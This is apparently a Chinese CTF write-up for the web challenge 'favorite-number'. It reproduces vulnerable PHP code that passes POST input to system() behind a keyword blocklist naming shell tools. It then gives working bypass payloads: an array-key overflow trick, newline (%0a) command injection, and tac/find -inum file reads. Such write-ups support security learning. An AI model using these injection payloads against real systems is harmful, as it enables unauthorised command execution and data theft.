1. 程式人生 > 其它 >攻防世界: web favorite-number

攻防世界: web favorite-number

目錄

題目剖析

這是一道PHP程式碼審計題目

 <?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
} 

通過程式碼審計,可以觀察到以下資訊:

  • PHP版本5.5.9
  • 存在陣列強型別比較
  • 存在過濾num的POST注入
    • ^和$ 匹配字串開頭和結尾
    • /d 匹配數字
    • /i 表示匹配的時候不區分大小寫
    • /m 表示多行匹配。
      所以我們可以得出,在進行POST注入num的時候,需要首位一定是數字,並且要繞過多行匹配
  • 黑名單機制

漏洞分析

  • PHP版本5.5存在陣列溢位漏洞
    即如果是32位的操作處理,那麼陣列最大值是232-1=4294967295=1111 1111 1111 1111 1111 1111 1111 1111。如果加1,那麼就會變成1 0000 0000 0000 0000 0000 0000 0000 0000,因為是32位,只保留後32位,前面的1將被捨棄,陣列重新歸零。
    所以按照此題目的 stuff[4294967295]=stuff[0]

    那麼就可以重新進行post注入,按照這個強型別比較又要求$stuff[0] != 'admin'
    可以書寫payload:stuff[4294967296]=admin&stuff[1]=user
    這樣可以繞過第一個if判斷
  • num的換行匹配漏洞
    普通換行無法達成命令的注入,可以用%0a進行替代
  • 黑名單機制漏洞
    使用黑名單最大的壞處就是黑名單不全
    可以使用tac實現和cat效果完全相反的反向讀取
    可以使用iNode節點讀取flag檔案

注入payload

所以我們可以分別注入payload為:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
!
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac find / -inum 33043719


本文來自部落格園,作者:{Zeker62},轉載請註明原文連結:https://www.cnblogs.com/Zeker62/p/15232412.html